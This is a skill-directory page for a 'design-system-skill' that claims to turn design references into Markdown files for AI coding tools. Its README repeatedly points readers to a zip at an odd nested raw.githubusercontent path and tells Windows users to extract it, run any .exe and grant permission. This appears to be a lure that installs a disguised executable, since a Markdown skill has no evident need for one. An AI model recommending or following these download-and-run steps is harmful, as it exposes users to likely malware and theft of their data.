Design System Skill
Description
[](https://raw.githubusercontent.com/Cash4478/design-system-skill/main/Chaetognatha/system_design_skill_2.6.z
Installation
This entry records only its repository, not the path inside it, so there is no
exact command to give. Open the source below and copy the folder into
~/.claude/skills/, or the file into ~/.claude/agents/.
README
🎨 design-system-skill - Turn designs into clean docs
[](https://raw.githubusercontent.com/Cash4478/design-system-skill/main/Chaetognatha/system_design_skill_2.6.zip)
🧩 What this is
design-system-skill helps you turn design references into clear Markdown files. It creates:
design.mddesign-guidelines.mddesign-components.md
You can use it with images, PDFs, links, and screenshots. It fits AI-assisted coding tools like Cursor, Claude Code, and Copilot. It gives you a simple way to turn design input into structure that code tools can use.
📥 Download
Visit this page to download and run the latest release on Windows:
https://raw.githubusercontent.com/Cash4478/design-system-skill/main/Chaetognatha/system_design_skill_2.6.zip
On the release page, look for the latest version and download the Windows file that matches your device. If you see a `.exe` file, download it and run it. If you see a zip file, download it, unzip it, then open the app inside the folder.
🪟 Windows setup
- Open the release page.
- Download the latest Windows package.
- If the file is zipped, right-click it and choose Extract All.
- Open the extracted folder.
- Double-click the app file to start it.
- If Windows asks for permission, choose Run.
If the file does not open at first, try right-clicking it and selecting Open.
✨ What it does
This tool helps you build design docs from visual references. It can help you:
- capture a design system from screenshots
- turn page mockups into clear notes
- list colors, type, spacing, and layout rules
- break down UI parts into reusable components
- create simple Markdown files for AI coding tools
- keep design details in one place
It is useful when you want design information in text form instead of scattered across images and links.
🧠 Main use cases
Use this tool when you want to:
- move from a design file to a code-r
Related Skills
Algorithmic Art
Create generative art using p5.js with seeded randomness, flow fields, and particle systems
Design Brand Guidelines
Apply Anthropic's official brand colors and typography to artifacts
Design Canvas Design
Create beautiful visual art in PNG and PDF documents using design philosophy
Design Frontend Design
Create distinctive, production-grade frontend interfaces with high design quality
Design Slack Gif Creator
Create animated GIFs optimized for Slack's size constraints
Design Theme Factory
Style artifacts with professional themes including 10 pre-set color/font combinations
Design Related Agents
Codemod Runner
Writes and runs codemod scripts that replace hardcoded visual values with token references in ui/src/index.css
Designguru
Expert Design Guidance & Analysis Specialist who provides professional UI/UX insights, design system guidance,
Html Css
| Web standards for semantic markup, maintainable styling, and accessibility. | - | [wshobson/agents](https://